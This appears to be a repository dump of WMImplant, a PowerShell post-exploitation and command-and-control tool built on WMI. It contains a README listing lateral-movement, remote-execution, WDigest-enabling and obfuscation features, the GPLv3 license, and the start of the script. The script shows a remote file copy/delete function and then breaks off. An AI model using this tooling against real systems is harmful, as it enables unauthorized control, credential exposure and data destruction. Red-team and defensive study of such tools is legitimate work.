├── Readme.md
├── LICENSE
└── WMImplant.ps1
/Readme.md:
--------------------------------------------------------------------------------
1 | # WMImplant
2 |
3 | WMImplant is a PowerShell based tool that leverages WMI to both perform actions against targeted machines, but also as the C2 channel for issuing commands and receiving results. WMImplant will likely require local administrator permissions on the targeted machine.
4 |
5 | Developed by [@christruncer](https://twitter.com/christruncer)
6 |
7 |
8 | # WMImplant Functions:
9 |
10 | ## Meta Functions
11 | change_user - Change the context of the user you will execute WMI commands as
12 | exit - Exits WMImplant
13 | gen_cli - Generate the command line command to use WMImplant non-interactively
14 | set_default - Sets the targeted system's WMI property back to its default value
15 | help - View the list of commands and descriptions
16 |
17 | ## File Operations
18 | cat - Reads the contents of a file
19 | copy - Copies a file from one location to another
20 | download - Download a file from the targeted machine
21 | ls - File/Directory listing of a specific directory
22 | search - Search for a file on a user-specified drive
23 | upload - Upload a file to the targeted machine
24 |
25 | ## Lateral Movement Facilitation
26 | command_exec - Run a command line command and receive the output
27 | disable_wdigest - Removes registry value UseLogonCredential
28 | disable_winrm - Disables WinRM on the targeted system
29 | enable_wdigest - Adds registry value UseLogonCredential
30 | enable_winrm - Enables WinRM on the targeted system
31 | registry_mod - Modify the registry on the targeted machine
32 | remote_posh - Run a PowerShell script on a remote machine and receive the output
33 | sched_job - Manipulate scheduled jobs
34 | service_mod - Create, delete, or modify system services
35 |
36 | ## Process Operations
37 | process_kill - Kill a process via name or process id on the targeted machine
38 | process_start - Start a process on the targeted machine
39 | ps - Process listing
40 |
41 | ## System Operations
42 | active_users - List domain users with active processes on the targeted system
43 | basic_info - Used to enumerate basic metadata about the targeted system
44 | drive_list - List local and network drives
45 | ifconfig - Receive IP info from NICs with active network connections
46 | installed_programs - Receive a list of the installed programs on the targeted machine
47 | logoff - Log users off the targeted machine
48 | reboot - Reboot the targeted machine
49 | power_off - Power off the targeted machine
50 | vacant_system - Determine if a user is away from the system
51 |
52 | ## Log Operations
53 | logon_events - Identify users that have logged onto a system
54 |
55 | # Usage
56 |
57 | The easiest way to get up and running with WMImplant is to import the script and run Invoke-WMImplant. This will present you with the main menu and you can instantly start choosing a command to run. Within the main menu, you can also choose to have WMImplant output the command line command you would need to use in order to run WMImplant in a non-interactive manner.
58 |
59 | Thanks to:
60 | [@evan_Pena2003](https://twitter.com/evan_pena2003) - For your help with code reviews and adding functionality into the tool
61 | [@danielbohannon](https://twitter.com/danielhbohannon) - For your help with code obfuscation
62 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | GNU GENERAL PUBLIC LICENSE
2 | Version 3, 29 June 2007
3 |
4 | Copyright (C) 2007 Free Software Foundation, Inc.
5 | Everyone is permitted to copy and distribute verbatim copies
6 | of this license document, but changing it is not allowed.
7 |
8 | Preamble
9 |
10 | The GNU General Public License is a free, copyleft license for
11 | software and other kinds of works.
12 |
13 | The licenses for most software and other practical works are designed
14 | to take away your freedom to share and change the works. By contrast,
15 | the GNU General Public License is intended to guarantee your freedom to
16 | share and change all versions of a program--to make sure it remains free
17 | software for all its users. We, the Free Software Foundation, use the
18 | GNU General Public License for most of our software; it applies also to
19 | any other work released this way by its authors. You can apply it to
20 | your programs, too.
21 |
22 | When we speak of free software, we are referring to freedom, not
23 | price. Our General Public Licenses are designed to make sure that you
24 | have the freedom to distribute copies of free software (and charge for
25 | them if you wish), that you receive source code or can get it if you
26 | want it, that you can change the software or use pieces of it in new
27 | free programs, and that you know you can do these things.
28 |
29 | To protect your rights, we need to prevent others from denying you
30 | these rights or asking you to surrender the rights. Therefore, you have
31 | certain responsibilities if you distribute copies of the software, or if
32 | you modify it: responsibilities to respect the freedom of others.
33 |
34 | For example, if you distribute copies of such a program, whether
35 | gratis or for a fee, you must pass on to the recipients the same
36 | freedoms that you received. You must make sure that they, too, receive
37 | or can get the source code. And you must show them these terms so they
38 | know their rights.
39 |
40 | Developers that use the GNU GPL protect your rights with two steps:
41 | (1) assert copyright on the software, and (2) offer you this License
42 | giving you legal permission to copy, distribute and/or modify it.
43 |
44 | For the developers' and authors' protection, the GPL clearly explains
45 | that there is no warranty for this free software. For both users' and
46 | authors' sake, the GPL requires that modified versions be marked as
47 | changed, so that their problems will not be attributed erroneously to
48 | authors of previous versions.
49 |
50 | Some devices are designed to deny users access to install or run
51 | modified versions of the software inside them, although the manufacturer
52 | can do so. This is fundamentally incompatible with the aim of
53 | protecting users' freedom to change the software. The systematic
54 | pattern of such abuse occurs in the area of products for individuals to
55 | use, which is precisely where it is most unacceptable. Therefore, we
56 | have designed this version of the GPL to prohibit the practice for those
57 | products. If such problems arise substantially in other domains, we
58 | stand ready to extend this provision to those domains in future versions
59 | of the GPL, as needed to protect the freedom of users.
60 |
61 | Finally, every program is threatened constantly by software patents.
62 | States should not allow patents to restrict development and use of
63 | software on general-purpose computers, but in those that do, we wish to
64 | avoid the special danger that patents applied to a free program could
65 | make it effectively proprietary. To prevent this, the GPL assures that
66 | patents cannot be used to render the program non-free.
67 |
68 | The precise terms and conditions for copying, distribution and
69 | modification follow.
70 |
71 | TERMS AND CONDITIONS
72 |
73 | 0. Definitions.
74 |
75 | "This License" refers to version 3 of the GNU General Public License.
76 |
77 | "Copyright" also means copyright-like laws that apply to other kinds of
78 | works, such as semiconductor masks.
79 |
80 | "The Program" refers to any copyrightable work licensed under this
81 | License. Each licensee is addressed as "you". "Licensees" and
82 | "recipients" may be individuals or organizations.
83 |
84 | To "modify" a work means to copy from or adapt all or part of the work
85 | in a fashion requiring copyright permission, other than the making of an
86 | exact copy. The resulting work is called a "modified version" of the
87 | earlier work or a work "based on" the earlier work.
88 |
89 | A "covered work" means either the unmodified Program or a work based
90 | on the Program.
91 |
92 | To "propagate" a work means to do anything with it that, without
93 | permission, would make you directly or secondarily liable for
94 | infringement under applicable copyright law, except executing it on a
95 | computer or modifying a private copy. Propagation includes copying,
96 | distribution (with or without modification), making available to the
97 | public, and in some countries other activities as well.
98 |
99 | To "convey" a work means any kind of propagation that enables other
100 | parties to make or receive copies. Mere interaction with a user through
101 | a computer network, with no transfer of a copy, is not conveying.
102 |
103 | An interactive user interface displays "Appropriate Legal Notices"
104 | to the extent that it includes a convenient and prominently visible
105 | feature that (1) displays an appropriate copyright notice, and (2)
106 | tells the user that there is no warranty for the work (except to the
107 | extent that warranties are provided), that licensees may convey the
108 | work under this License, and how to view a copy of this License. If
109 | the interface presents a list of user commands or options, such as a
110 | menu, a prominent item in the list meets this criterion.
111 |
112 | 1. Source Code.
113 |
114 | The "source code" for a work means the preferred form of the work
115 | for making modifications to it. "Object code" means any non-source
116 | form of a work.
117 |
118 | A "Standard Interface" means an interface that either is an official
119 | standard defined by a recognized standards body, or, in the case of
120 | interfaces specified for a particular programming language, one that
121 | is widely used among developers working in that language.
122 |
123 | The "System Libraries" of an executable work include anything, other
124 | than the work as a whole, that (a) is included in the normal form of
125 | packaging a Major Component, but which is not part of that Major
126 | Component, and (b) serves only to enable use of the work with that
127 | Major Component, or to implement a Standard Interface for which an
128 | implementation is available to the public in source code form. A
129 | "Major Component", in this context, means a major essential component
130 | (kernel, window system, and so on) of the specific operating system
131 | (if any) on which the executable work runs, or a compiler used to
132 | produce the work, or an object code interpreter used to run it.
133 |
134 | The "Corresponding Source" for a work in object code form means all
135 | the source code needed to generate, install, and (for an executable
136 | work) run the object code and to modify the work, including scripts to
137 | control those activities. However, it does not include the work's
138 | System Libraries, or general-purpose tools or generally available free
139 | programs which are used unmodified in performing those activities but
140 | which are not part of the work. For example, Corresponding Source
141 | includes interface definition files associated with source files for
142 | the work, and the source code for shared libraries and dynamically
143 | linked subprograms that the work is specifically designed to require,
144 | such as by intimate data communication or control flow between those
145 | subprograms and other parts of the work.
146 |
147 | The Corresponding Source need not include anything that users
148 | can regenerate automatically from other parts of the Corresponding
149 | Source.
150 |
151 | The Corresponding Source for a work in source code form is that
152 | same work.
153 |
154 | 2. Basic Permissions.
155 |
156 | All rights granted under this License are granted for the term of
157 | copyright on the Program, and are irrevocable provided the stated
158 | conditions are met. This License explicitly affirms your unlimited
159 | permission to run the unmodified Program. The output from running a
160 | covered work is covered by this License only if the output, given its
161 | content, constitutes a covered work. This License acknowledges your
162 | rights of fair use or other equivalent, as provided by copyright law.
163 |
164 | You may make, run and propagate covered works that you do not
165 | convey, without conditions so long as your license otherwise remains
166 | in force. You may convey covered works to others for the sole purpose
167 | of having them make modifications exclusively for you, or provide you
168 | with facilities for running those works, provided that you comply with
169 | the terms of this License in conveying all material for which you do
170 | not control copyright. Those thus making or running the covered works
171 | for you must do so exclusively on your behalf, under your direction
172 | and control, on terms that prohibit them from making any copies of
173 | your copyrighted material outside their relationship with you.
174 |
175 | Conveying under any other circumstances is permitted solely under
176 | the conditions stated below. Sublicensing is not allowed; section 10
177 | makes it unnecessary.
178 |
179 | 3. Protecting Users' Legal Rights From Anti-Circumvention Law.
180 |
181 | No covered work shall be deemed part of an effective technological
182 | measure under any applicable law fulfilling obligations under article
183 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or
184 | similar laws prohibiting or restricting circumvention of such
185 | measures.
186 |
187 | When you convey a covered work, you waive any legal power to forbid
188 | circumvention of technological measures to the extent such circumvention
189 | is effected by exercising rights under this License with respect to
190 | the covered work, and you disclaim any intention to limit operation or
191 | modification of the work as a means of enforcing, against the work's
192 | users, your or third parties' legal rights to forbid circumvention of
193 | technological measures.
194 |
195 | 4. Conveying Verbatim Copies.
196 |
197 | You may convey verbatim copies of the Program's source code as you
198 | receive it, in any medium, provided that you conspicuously and
199 | appropriately publish on each copy an appropriate copyright notice;
200 | keep intact all notices stating that this License and any
201 | non-permissive terms added in accord with section 7 apply to the code;
202 | keep intact all notices of the absence of any warranty; and give all
203 | recipients a copy of this License along with the Program.
204 |
205 | You may charge any price or no price for each copy that you convey,
206 | and you may offer support or warranty protection for a fee.
207 |
208 | 5. Conveying Modified Source Versions.
209 |
210 | You may convey a work based on the Program, or the modifications to
211 | produce it from the Program, in the form of source code under the
212 | terms of section 4, provided that you also meet all of these conditions:
213 |
214 | a) The work must carry prominent notices stating that you modified
215 | it, and giving a relevant date.
216 |
217 | b) The work must carry prominent notices stating that it is
218 | released under this License and any conditions added under section
219 | 7. This requirement modifies the requirement in section 4 to
220 | "keep intact all notices".
221 |
222 | c) You must license the entire work, as a whole, under this
223 | License to anyone who comes into possession of a copy. This
224 | License will therefore apply, along with any applicable section 7
225 | additional terms, to the whole of the work, and all its parts,
226 | regardless of how they are packaged. This License gives no
227 | permission to license the work in any other way, but it does not
228 | invalidate such permission if you have separately received it.
229 |
230 | d) If the work has interactive user interfaces, each must display
231 | Appropriate Legal Notices; however, if the Program has interactive
232 | interfaces that do not display Appropriate Legal Notices, your
233 | work need not make them do so.
234 |
235 | A compilation of a covered work with other separate and independent
236 | works, which are not by their nature extensions of the covered work,
237 | and which are not combined with it such as to form a larger program,
238 | in or on a volume of a storage or distribution medium, is called an
239 | "aggregate" if the compilation and its resulting copyright are not
240 | used to limit the access or legal rights of the compilation's users
241 | beyond what the individual works permit. Inclusion of a covered work
242 | in an aggregate does not cause this License to apply to the other
243 | parts of the aggregate.
244 |
245 | 6. Conveying Non-Source Forms.
246 |
247 | You may convey a covered work in object code form under the terms
248 | of sections 4 and 5, provided that you also convey the
249 | machine-readable Corresponding Source under the terms of this License,
250 | in one of these ways:
251 |
252 | a) Convey the object code in, or embodied in, a physical product
253 | (including a physical distribution medium), accompanied by the
254 | Corresponding Source fixed on a durable physical medium
255 | customarily used for software interchange.
256 |
257 | b) Convey the object code in, or embodied in, a physical product
258 | (including a physical distribution medium), accompanied by a
259 | written offer, valid for at least three years and valid for as
260 | long as you offer spare parts or customer support for that product
261 | model, to give anyone who possesses the object code either (1) a
262 | copy of the Corresponding Source for all the software in the
263 | product that is covered by this License, on a durable physical
264 | medium customarily used for software interchange, for a price no
265 | more than your reasonable cost of physically performing this
266 | conveying of source, or (2) access to copy the
267 | Corresponding Source from a network server at no charge.
268 |
269 | c) Convey individual copies of the object code with a copy of the
270 | written offer to provide the Corresponding Source. This
271 | alternative is allowed only occasionally and noncommercially, and
272 | only if you received the object code with such an offer, in accord
273 | with subsection 6b.
274 |
275 | d) Convey the object code by offering access from a designated
276 | place (gratis or for a charge), and offer equivalent access to the
277 | Corresponding Source in the same way through the same place at no
278 | further charge. You need not require recipients to copy the
279 | Corresponding Source along with the object code. If the place to
280 | copy the object code is a network server, the Corresponding Source
281 | may be on a different server (operated by you or a third party)
282 | that supports equivalent copying facilities, provided you maintain
283 | clear directions next to the object code saying where to find the
284 | Corresponding Source. Regardless of what server hosts the
285 | Corresponding Source, you remain obligated to ensure that it is
286 | available for as long as needed to satisfy these requirements.
287 |
288 | e) Convey the object code using peer-to-peer transmission, provided
289 | you inform other peers where the object code and Corresponding
290 | Source of the work are being offered to the general public at no
291 | charge under subsection 6d.
292 |
293 | A separable portion of the object code, whose source code is excluded
294 | from the Corresponding Source as a System Library, need not be
295 | included in conveying the object code work.
296 |
297 | A "User Product" is either (1) a "consumer product", which means any
298 | tangible personal property which is normally used for personal, family,
299 | or household purposes, or (2) anything designed or sold for incorporation
300 | into a dwelling. In determining whether a product is a consumer product,
301 | doubtful cases shall be resolved in favor of coverage. For a particular
302 | product received by a particular user, "normally used" refers to a
303 | typical or common use of that class of product, regardless of the status
304 | of the particular user or of the way in which the particular user
305 | actually uses, or expects or is expected to use, the product. A product
306 | is a consumer product regardless of whether the product has substantial
307 | commercial, industrial or non-consumer uses, unless such uses represent
308 | the only significant mode of use of the product.
309 |
310 | "Installation Information" for a User Product means any methods,
311 | procedures, authorization keys, or other information required to install
312 | and execute modified versions of a covered work in that User Product from
313 | a modified version of its Corresponding Source. The information must
314 | suffice to ensure that the continued functioning of the modified object
315 | code is in no case prevented or interfered with solely because
316 | modification has been made.
317 |
318 | If you convey an object code work under this section in, or with, or
319 | specifically for use in, a User Product, and the conveying occurs as
320 | part of a transaction in which the right of possession and use of the
321 | User Product is transferred to the recipient in perpetuity or for a
322 | fixed term (regardless of how the transaction is characterized), the
323 | Corresponding Source conveyed under this section must be accompanied
324 | by the Installation Information. But this requirement does not apply
325 | if neither you nor any third party retains the ability to install
326 | modified object code on the User Product (for example, the work has
327 | been installed in ROM).
328 |
329 | The requirement to provide Installation Information does not include a
330 | requirement to continue to provide support service, warranty, or updates
331 | for a work that has been modified or installed by the recipient, or for
332 | the User Product in which it has been modified or installed. Access to a
333 | network may be denied when the modification itself materially and
334 | adversely affects the operation of the network or violates the rules and
335 | protocols for communication across the network.
336 |
337 | Corresponding Source conveyed, and Installation Information provided,
338 | in accord with this section must be in a format that is publicly
339 | documented (and with an implementation available to the public in
340 | source code form), and must require no special password or key for
341 | unpacking, reading or copying.
342 |
343 | 7. Additional Terms.
344 |
345 | "Additional permissions" are terms that supplement the terms of this
346 | License by making exceptions from one or more of its conditions.
347 | Additional permissions that are applicable to the entire Program shall
348 | be treated as though they were included in this License, to the extent
349 | that they are valid under applicable law. If additional permissions
350 | apply only to part of the Program, that part may be used separately
351 | under those permissions, but the entire Program remains governed by
352 | this License without regard to the additional permissions.
353 |
354 | When you convey a copy of a covered work, you may at your option
355 | remove any additional permissions from that copy, or from any part of
356 | it. (Additional permissions may be written to require their own
357 | removal in certain cases when you modify the work.) You may place
358 | additional permissions on material, added by you to a covered work,
359 | for which you have or can give appropriate copyright permission.
360 |
361 | Notwithstanding any other provision of this License, for material you
362 | add to a covered work, you may (if authorized by the copyright holders of
363 | that material) supplement the terms of this License with terms:
364 |
365 | a) Disclaiming warranty or limiting liability differently from the
366 | terms of sections 15 and 16 of this License; or
367 |
368 | b) Requiring preservation of specified reasonable legal notices or
369 | author attributions in that material or in the Appropriate Legal
370 | Notices displayed by works containing it; or
371 |
372 | c) Prohibiting misrepresentation of the origin of that material, or
373 | requiring that modified versions of such material be marked in
374 | reasonable ways as different from the original version; or
375 |
376 | d) Limiting the use for publicity purposes of names of licensors or
377 | authors of the material; or
378 |
379 | e) Declining to grant rights under trademark law for use of some
380 | trade names, trademarks, or service marks; or
381 |
382 | f) Requiring indemnification of licensors and authors of that
383 | material by anyone who conveys the material (or modified versions of
384 | it) with contractual assumptions of liability to the recipient, for
385 | any liability that these contractual assumptions directly impose on
386 | those licensors and authors.
387 |
388 | All other non-permissive additional terms are considered "further
389 | restrictions" within the meaning of section 10. If the Program as you
390 | received it, or any part of it, contains a notice stating that it is
391 | governed by this License along with a term that is a further
392 | restriction, you may remove that term. If a license document contains
393 | a further restriction but permits relicensing or conveying under this
394 | License, you may add to a covered work material governed by the terms
395 | of that license document, provided that the further restriction does
396 | not survive such relicensing or conveying.
397 |
398 | If you add terms to a covered work in accord with this section, you
399 | must place, in the relevant source files, a statement of the
400 | additional terms that apply to those files, or a notice indicating
401 | where to find the applicable terms.
402 |
403 | Additional terms, permissive or non-permissive, may be stated in the
404 | form of a separately written license, or stated as exceptions;
405 | the above requirements apply either way.
406 |
407 | 8. Termination.
408 |
409 | You may not propagate or modify a covered work except as expressly
410 | provided under this License. Any attempt otherwise to propagate or
411 | modify it is void, and will automatically terminate your rights under
412 | this License (including any patent licenses granted under the third
413 | paragraph of section 11).
414 |
415 | However, if you cease all violation of this License, then your
416 | license from a particular copyright holder is reinstated (a)
417 | provisionally, unless and until the copyright holder explicitly and
418 | finally terminates your license, and (b) permanently, if the copyright
419 | holder fails to notify you of the violation by some reasonable means
420 | prior to 60 days after the cessation.
421 |
422 | Moreover, your license from a particular copyright holder is
423 | reinstated permanently if the copyright holder notifies you of the
424 | violation by some reasonable means, this is the first time you have
425 | received notice of violation of this License (for any work) from that
426 | copyright holder, and you cure the violation prior to 30 days after
427 | your receipt of the notice.
428 |
429 | Termination of your rights under this section does not terminate the
430 | licenses of parties who have received copies or rights from you under
431 | this License. If your rights have been terminated and not permanently
432 | reinstated, you do not qualify to receive new licenses for the same
433 | material under section 10.
434 |
435 | 9. Acceptance Not Required for Having Copies.
436 |
437 | You are not required to accept this License in order to receive or
438 | run a copy of the Program. Ancillary propagation of a covered work
439 | occurring solely as a consequence of using peer-to-peer transmission
440 | to receive a copy likewise does not require acceptance. However,
441 | nothing other than this License grants you permission to propagate or
442 | modify any covered work. These actions infringe copyright if you do
443 | not accept this License. Therefore, by modifying or propagating a
444 | covered work, you indicate your acceptance of this License to do so.
445 |
446 | 10. Automatic Licensing of Downstream Recipients.
447 |
448 | Each time you convey a covered work, the recipient automatically
449 | receives a license from the original licensors, to run, modify and
450 | propagate that work, subject to this License. You are not responsible
451 | for enforcing compliance by third parties with this License.
452 |
453 | An "entity transaction" is a transaction transferring control of an
454 | organization, or substantially all assets of one, or subdividing an
455 | organization, or merging organizations. If propagation of a covered
456 | work results from an entity transaction, each party to that
457 | transaction who receives a copy of the work also receives whatever
458 | licenses to the work the party's predecessor in interest had or could
459 | give under the previous paragraph, plus a right to possession of the
460 | Corresponding Source of the work from the predecessor in interest, if
461 | the predecessor has it or can get it with reasonable efforts.
462 |
463 | You may not impose any further restrictions on the exercise of the
464 | rights granted or affirmed under this License. For example, you may
465 | not impose a license fee, royalty, or other charge for exercise of
466 | rights granted under this License, and you may not initiate litigation
467 | (including a cross-claim or counterclaim in a lawsuit) alleging that
468 | any patent claim is infringed by making, using, selling, offering for
469 | sale, or importing the Program or any portion of it.
470 |
471 | 11. Patents.
472 |
473 | A "contributor" is a copyright holder who authorizes use under this
474 | License of the Program or a work on which the Program is based. The
475 | work thus licensed is called the contributor's "contributor version".
476 |
477 | A contributor's "essential patent claims" are all patent claims
478 | owned or controlled by the contributor, whether already acquired or
479 | hereafter acquired, that would be infringed by some manner, permitted
480 | by this License, of making, using, or selling its contributor version,
481 | but do not include claims that would be infringed only as a
482 | consequence of further modification of the contributor version. For
483 | purposes of this definition, "control" includes the right to grant
484 | patent sublicenses in a manner consistent with the requirements of
485 | this License.
486 |
487 | Each contributor grants you a non-exclusive, worldwide, royalty-free
488 | patent license under the contributor's essential patent claims, to
489 | make, use, sell, offer for sale, import and otherwise run, modify and
490 | propagate the contents of its contributor version.
491 |
492 | In the following three paragraphs, a "patent license" is any express
493 | agreement or commitment, however denominated, not to enforce a patent
494 | (such as an express permission to practice a patent or covenant not to
495 | sue for patent infringement). To "grant" such a patent license to a
496 | party means to make such an agreement or commitment not to enforce a
497 | patent against the party.
498 |
499 | If you convey a covered work, knowingly relying on a patent license,
500 | and the Corresponding Source of the work is not available for anyone
501 | to copy, free of charge and under the terms of this License, through a
502 | publicly available network server or other readily accessible means,
503 | then you must either (1) cause the Corresponding Source to be so
504 | available, or (2) arrange to deprive yourself of the benefit of the
505 | patent license for this particular work, or (3) arrange, in a manner
506 | consistent with the requirements of this License, to extend the patent
507 | license to downstream recipients. "Knowingly relying" means you have
508 | actual knowledge that, but for the patent license, your conveying the
509 | covered work in a country, or your recipient's use of the covered work
510 | in a country, would infringe one or more identifiable patents in that
511 | country that you have reason to believe are valid.
512 |
513 | If, pursuant to or in connection with a single transaction or
514 | arrangement, you convey, or propagate by procuring conveyance of, a
515 | covered work, and grant a patent license to some of the parties
516 | receiving the covered work authorizing them to use, propagate, modify
517 | or convey a specific copy of the covered work, then the patent license
518 | you grant is automatically extended to all recipients of the covered
519 | work and works based on it.
520 |
521 | A patent license is "discriminatory" if it does not include within
522 | the scope of its coverage, prohibits the exercise of, or is
523 | conditioned on the non-exercise of one or more of the rights that are
524 | specifically granted under this License. You may not convey a covered
525 | work if you are a party to an arrangement with a third party that is
526 | in the business of distributing software, under which you make payment
527 | to the third party based on the extent of your activity of conveying
528 | the work, and under which the third party grants, to any of the
529 | parties who would receive the covered work from you, a discriminatory
530 | patent license (a) in connection with copies of the covered work
531 | conveyed by you (or copies made from those copies), or (b) primarily
532 | for and in connection with specific products or compilations that
533 | contain the covered work, unless you entered into that arrangement,
534 | or that patent license was granted, prior to 28 March 2007.
535 |
536 | Nothing in this License shall be construed as excluding or limiting
537 | any implied license or other defenses to infringement that may
538 | otherwise be available to you under applicable patent law.
539 |
540 | 12. No Surrender of Others' Freedom.
541 |
542 | If conditions are imposed on you (whether by court order, agreement or
543 | otherwise) that contradict the conditions of this License, they do not
544 | excuse you from the conditions of this License. If you cannot convey a
545 | covered work so as to satisfy simultaneously your obligations under this
546 | License and any other pertinent obligations, then as a consequence you may
547 | not convey it at all. For example, if you agree to terms that obligate you
548 | to collect a royalty for further conveying from those to whom you convey
549 | the Program, the only way you could satisfy both those terms and this
550 | License would be to refrain entirely from conveying the Program.
551 |
552 | 13. Use with the GNU Affero General Public License.
553 |
554 | Notwithstanding any other provision of this License, you have
555 | permission to link or combine any covered work with a work licensed
556 | under version 3 of the GNU Affero General Public License into a single
557 | combined work, and to convey the resulting work. The terms of this
558 | License will continue to apply to the part which is the covered work,
559 | but the special requirements of the GNU Affero General Public License,
560 | section 13, concerning interaction through a network will apply to the
561 | combination as such.
562 |
563 | 14. Revised Versions of this License.
564 |
565 | The Free Software Foundation may publish revised and/or new versions of
566 | the GNU General Public License from time to time. Such new versions will
567 | be similar in spirit to the present version, but may differ in detail to
568 | address new problems or concerns.
569 |
570 | Each version is given a distinguishing version number. If the
571 | Program specifies that a certain numbered version of the GNU General
572 | Public License "or any later version" applies to it, you have the
573 | option of following the terms and conditions either of that numbered
574 | version or of any later version published by the Free Software
575 | Foundation. If the Program does not specify a version number of the
576 | GNU General Public License, you may choose any version ever published
577 | by the Free Software Foundation.
578 |
579 | If the Program specifies that a proxy can decide which future
580 | versions of the GNU General Public License can be used, that proxy's
581 | public statement of acceptance of a version permanently authorizes you
582 | to choose that version for the Program.
583 |
584 | Later license versions may give you additional or different
585 | permissions. However, no additional obligations are imposed on any
586 | author or copyright holder as a result of your choosing to follow a
587 | later version.
588 |
589 | 15. Disclaimer of Warranty.
590 |
591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
599 |
600 | 16. Limitation of Liability.
601 |
602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
610 | SUCH DAMAGES.
611 |
612 | 17. Interpretation of Sections 15 and 16.
613 |
614 | If the disclaimer of warranty and limitation of liability provided
615 | above cannot be given local legal effect according to their terms,
616 | reviewing courts shall apply local law that most closely approximates
617 | an absolute waiver of all civil liability in connection with the
618 | Program, unless a warranty or assumption of liability accompanies a
619 | copy of the Program in return for a fee.
620 |
621 | END OF TERMS AND CONDITIONS
622 |
623 | How to Apply These Terms to Your New Programs
624 |
625 | If you develop a new program, and you want it to be of the greatest
626 | possible use to the public, the best way to achieve this is to make it
627 | free software which everyone can redistribute and change under these terms.
628 |
629 | To do so, attach the following notices to the program. It is safest
630 | to attach them to the start of each source file to most effectively
631 | state the exclusion of warranty; and each file should have at least
632 | the "copyright" line and a pointer to where the full notice is found.
633 |
634 | {one line to give the program's name and a brief idea of what it does.}
635 | Copyright (C) {year} {name of author}
636 |
637 | This program is free software: you can redistribute it and/or modify
638 | it under the terms of the GNU General Public License as published by
639 | the Free Software Foundation, either version 3 of the License, or
640 | (at your option) any later version.
641 |
642 | This program is distributed in the hope that it will be useful,
643 | but WITHOUT ANY WARRANTY; without even the implied warranty of
644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
645 | GNU General Public License for more details.
646 |
647 | You should have received a copy of the GNU General Public License
648 | along with this program. If not, see .
649 |
650 | Also add information on how to contact you by electronic and paper mail.
651 |
652 | If the program does terminal interaction, make it output a short
653 | notice like this when it starts in an interactive mode:
654 |
655 | {project} Copyright (C) {year} {fullname}
656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
657 | This is free software, and you are welcome to redistribute it
658 | under certain conditions; type `show c' for details.
659 |
660 | The hypothetical commands `show w' and `show c' should show the appropriate
661 | parts of the General Public License. Of course, your program's commands
662 | might be different; for a GUI interface, you would use an "about box".
663 |
664 | You should also get your employer (if you work as a programmer) or school,
665 | if any, to sign a "copyright disclaimer" for the program, if necessary.
666 | For more information on this, and how to apply and follow the GNU GPL, see
667 | .
668 |
669 | The GNU General Public License does not permit incorporating your program
670 | into proprietary programs. If your program is a subroutine library, you
671 | may consider it more useful to permit linking proprietary applications with
672 | the library. If this is what you want to do, use the GNU Lesser General
673 | Public License instead of this License. But first, please read
674 | .
675 |
--------------------------------------------------------------------------------
/WMImplant.ps1:
--------------------------------------------------------------------------------
1 | <#
2 | WMImplant v1.0
3 | License: GPLv3
4 | Author: @ChrisTruncer
5 | #>
6 |
7 | function Edit-FileWMI
8 | {
9 | param
10 | (
11 | [Parameter(Mandatory = $False)]
12 | [System.Management.Automation.PSCredential]$Credential,
13 | [Parameter(Mandatory = $True)]
14 | [string]$ComputerName,
15 | [Parameter(Mandatory = $False)]
16 | [string]$FileLocation,
17 | [Parameter(Mandatory = $False)]
18 | [string]$CopyLocation,
19 | [Parameter(Mandatory = $False)]
20 | [switch]$Copy,
21 | [Parameter(Mandatory = $False)]
22 | [switch]$Delete
23 | )
24 |
25 | Process
26 | {
27 | if((!$Copy) -and (!$Delete))
28 | {
29 | Throw "You need to specify if a file is going to be copied or deleted!"
30 | }
31 |
32 | if($Copy)
33 | {
34 | if(!$FileLocation)
35 | {
36 | $FileLocation = Read-Host "What is the full path to the file that you would like to copy? >"
37 | }
38 |
39 | if(!$CopyLocation)
40 | {
41 | $CopyLocation = Read-Host "What is the full path to where you would like to copy the file to? >"
42 | }
43 | }
44 | else
45 | {
46 | if(!$FileLocation)
47 | {
48 | $FileLocation = Read-Host "What is the full path to the file that you would like to delete? >"
49 | }
50 | }
51 |
52 | # Add double slashes for File to copy
53 | $FileLocation = $FileLocation -replace '\\', '\\'
54 |
55 | # Make WMI Query for file to copy
56 | if($Credential)
57 | {
58 | $targeted_file = Get-WMIObject -Class CIM_DataFile -Filter "Name = '$FileLocation'" -Credential $Credential -ComputerName $ComputerName
59 | }
60 | else
61 | {
62 | $targeted_file = Get-WMIObject -Class CIM_DataFile -Filter "Name = '$FileLocation'" -ComputerName $ComputerName
63 | }
64 |
65 | if($Copy)
66 | {
67 | # Copy file to copy location
68 | $targeted_file.Copy($CopyLocation)
69 | }
70 | else
71 | {
72 | # Delete file
73 | $targeted_file.Delete()
74 | }
75 | }
76 | }
77 |
78 | function Invoke-WMIObfuscatedPSCommand
79 | {
80 | param
81 | (
